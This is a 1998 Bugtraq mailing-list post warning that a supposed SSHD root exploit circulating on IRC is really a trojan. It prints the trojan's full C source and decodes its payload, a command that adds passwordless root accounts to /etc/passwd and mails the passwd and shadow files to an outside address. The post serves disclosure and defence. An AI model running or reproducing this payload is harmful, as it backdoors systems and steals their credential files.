Bugtraq archives for 4th quarter (Oct-Dec) 1998: Re: Administrivia
Re: Administrivia
Chris Tobkin (
tobkin
JAWS.UMN.EDU)
Sun, 15 Nov 1998 02:31:58 -0600
Speaking of trojans/lame scripts, there is a 'root exploit for Linux 2.0.* and
possibly 2.1.* SSHD 1.5-1.2.23' going around on some of the efnet channels..
It is actually a spiffed up c script that does:
echo b4b0::0:0::/:>>/etc/passwd;echo babo::10:10::/: >> /etc/passwd ; (cat /etc/passwd /etc/shadow ;/sbin/ifconfig)|mail kitandjphotmail.com
/bin/sh
If one were to just print out the shellcode this would be immediately obvious.
(i.e. printf("<insert shellcode here>"); pipe it through strings to get rid of
the control characters..)
The filenames that it is been being passed around as are "sshdexp.c" and the
"sshdwarez.c" which was already referenced on bugtraq... other people can rip
this one to shreds with the fetch() which is cute.. and the system("/bin/echo")
instead of printf(""). This is, however, a good way to get rid of scriptkiddies
that don't know how to write code but want all the benefits of everyone elses's
intelligence..
Caveat emptor, again.
// chris
tobkinumn.edu
*************************************************************************
Chris Tobkin tobkinumn.edu
Java and Web Services - Academic and Distributed Computing Services - UMN
-----------------------------------------------------------------------
"Thanks to the printing press, the deviant smart people were able to
distribute their genius without having to pass it on genetically.
Evolution was short-circuited. We gained knowlege and
technology without gaining intelligence." - Scott Addams
*************************************************************************
-- sshdtrojan.c --
/************************************************************************/
/* root exploit for Linux 2.0.* and possible 2.1.* SSHD 1.5-1.2.23 */
/* On some weird systems this causes a segfault */
/* If it doesnt work change the offset (usually between 0 and 5000) */
/* (try increments of 2.......) */
/* TO RUN: */
/* (./sshdwarez ; cat) | nc victim 22 */
/* */
/* forever yours: st4nzdnetmail.com */
/************************************************************************/
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define OFFSET 146
#define NOP 0x90
char shellcode[] =
"\xbc\x84\x04\x08\x65\x63\x68\x6f\x20\x62\x34\x62\x30\x3a\x3a\x30\x3a"
"\x30\x3a\x3a\x2f\x3a\x3e\x3e\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77"
"\x64\x3b\x65\x63\x68\x6f\x20\x62\x61\x62\x6f\x3a\x3a\x31\x30\x3a\x31"
"\x30\x3a\x3a\x2f\x3a\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73"
"\x73\x77\x64\x20\x3b\x20\x28\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70"
"\x61\x73\x73\x77\x64\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77"
"\x20\x3b\x2f\x73\x62\x69\x6e\x2f\x69\x66\x63\x6f\x6e\x66\x69\x67\x29"
"\x7c\x6d\x61\x69\x6c\x20\x6b\x69\x74\x61\x6e\x64\x6a\x70\x40\x68\x6f"
"\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\x00\xeb\x1f\x5e\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
int fetch(int *w){ /* push and return something from the stack */
char stack[4096];
int (*push)();
memcpy((int*)&push,w,sizeof(int));
memcpy(stack,(char*)w+4,OFFSET-5);
push(stack);
return *w;
}
int i;
char *p;
main(int argc,char**argv)
{
char s[1024];
char ssh[] = "\x8c\xfd\xff\xbf\x48\x9b"; /* starts ssh session */
strcpy(argv[0],"vi ");
if (getuid())
{
system("/bin/echo this program uses priveledged ports. "
"run as root.");
return -1;
}
write(1,ssh,sizeof(ssh));
for (i=0;i<500;i++)
s[i]=NOP;
p=&s[i];
memcpy(p,&shellcode[OFFSET],sizeof(shellcode)-OFFSET);
/* most [linux] systems keep libc functions in the same place */
i=(int)system;memcpy(&shellcode,&i,sizeof(int));
write(1,s,500+(sizeof(shellcode)-OFFSET));
fetch((int*)&shellcode);
usleep(1000000);
return 0;
}
